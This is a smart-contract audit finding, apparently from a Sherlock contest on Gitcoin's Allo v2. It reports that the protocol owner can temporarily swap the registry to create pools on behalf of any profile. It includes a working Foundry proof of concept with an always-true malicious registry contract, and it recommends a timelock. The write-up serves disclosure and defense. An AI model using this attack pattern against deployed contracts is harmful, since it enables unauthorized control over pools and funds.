Urban Strawberry Monkey

high

# Protocol owner can create pools on behalf of any profile
A protocol vulnerability allows the Allo owner to create pools on behalf of profiles.

This vulnerability can be easily exploited by temporarily substituting the protocol registry with a malicious one within a single transaction.

According to [the project documentation](https://docs.allo.gitcoin.co/overview/project-registry#project-profiles), project profiles are essential as they represent on-chain identities capable of receiving funds, receiving attestations, or holding soul-bound tokens. Therefore, enabling a malicious actor to create a pool on behalf of a profile ID is a highly undesirable scenario.

## Vulnerability Detail
Only profile owner or members can create pools on behalf of a project profile. This is enforced via check at the beginning of the `_createPool()` function in `Allo.sol`:

https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L424

The check is made via a call to the `registry` to ensure that `msg.sender` is permissioned to create a pool. However, there's a vulnerability where a malicious protocol owner could easily swap out the protocol registry temporarily within a single transaction. This loophole allows them to create a new pool on behalf of any given profile:

https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L213-L215

Notably, the changes made through the updateRegistry() function take immediate effect and do not require approvals or a timelock mechanism, making this attack pretty straightforward to execute.

## Impact
The protocol owner has the ability to create pools on behalf of any profile and take ownership of these pools. This control allows them to govern allocations and distributions within these pools.

## Code Snippet
I have created a simple PoC which demonstrates how the attack could be performed. Just create a new file `test/foundry/core/MaliciousAlloOwnerCanCreatePool.t.sol` and put the following content in it.

Use `forge test -vvvv --match-test test_maliciousProtocolOwnerCreatesPoolOnBehalfOfProfile` to run the PoC:

```solidity
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.19;

import "forge-std/Test.sol";

import {Ownable} from "openzeppelin-contracts/contracts/access/Ownable.sol";
import {IAllo} from "../../../contracts/core/interfaces/IAllo.sol";
import {IStrategy} from "../../../contracts/core/interfaces/IStrategy.sol";
import {IRegistry} from "../../../contracts/core/interfaces/IRegistry.sol";
import {AlloTest} from "./Allo.t.sol";
import {MockStrategy} from "../../utils/MockStrategy.sol";

contract MaliciousAlloOwnerCanCreatePool is AlloTest {

    function setUp() public override {
        super.setUp();
    }

    function test_maliciousProtocolOwnerCreatesPoolOnBehalfOfProfile() public {
        // As per AlloTest#setUp(), local() is the Allo owner. Executing all subsequent txns as allow owner.
        vm.startPrank(local()); 

        // Save the address of the original registry, we would later update back to it
        IRegistry originalRegistry = allo().getRegistry();

        // Deploy a malicious registry and update allo to use it
        MaliciousRegistry maliciousRegistry = new MaliciousRegistry();
        allo().updateRegistry(address(maliciousRegistry));
        
        // Deploy a malicious strategy. Would use a MockStrategy for this PoC for simplicity
        // But essentially we could use any implementation that allocates and distributes in any arbitrary way
        address maliciousStrategy = address(new MockStrategy(address(allo())));

        // Create a pool on behalf of a profile.
        // We would use profile1_id() which is a valid profile ID registered in the original registry
        // (see RegistrySetup#__RegistrySetupFull())
        address[] memory noPoolManagersPlease = new address[](0);
        uint256 poolId = allo().createPoolWithCustomStrategy(profile1_id(), maliciousStrategy, "0x", address(token), 0, metadata, noPoolManagersPlease);

        // Change back registry to the original one
        allo().updateRegistry(address(originalRegistry));
        
        // Assert the protocol owner is the pool admin
        assertEq(true, allo().isPoolAdmin(poolId, local()));

        // Let's also show that local() is not an owner or a memeber of profile1 in the registry
        // Thus they should *NOT* be able to create pools on behalf of profile1.
        assertEq(false, originalRegistry.isOwnerOrMemberOfProfile(profile1_id(), local()));

        vm.stopPrank();
    }
}

contract MaliciousRegistry {

    function isOwnerOrMemberOfProfile(bytes32 _profileId, address _account) external view returns (bool) {
        return true;
    }
}
```

## Tool used

Manual Review

## Recommendation
- Consider using a timelock mechanism when updating critical protocol addresses that have a critical impact on the protocol (such as the registry);